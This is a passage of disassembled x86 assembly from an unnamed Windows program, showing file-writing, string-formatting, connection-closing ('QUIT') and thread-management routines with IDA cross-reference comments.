		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		call	near ptr 77C36DF2h
		nop
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		call	near ptr 77C3EEF6h
		nop
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474D0
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476D4
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476CC
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476E0
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476F8
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476EC
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_447704
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444EA0o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 2780968h
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103D8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 3502BDE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 3503DCE8h, 0B4E85302h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 3501FDE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 235031Dh, 0F4E85790h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 5FE89050h, 85023501h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		nop
		call	near ptr 27709F0h
		push	0
		push	edi
		nop
		call	near ptr 27806AAh
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	near ptr 2770BD4h
		nop
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		call	near ptr 2780000h
		nop
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 27802A4h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		call	near ptr 278048Ch
		nop
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103C8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
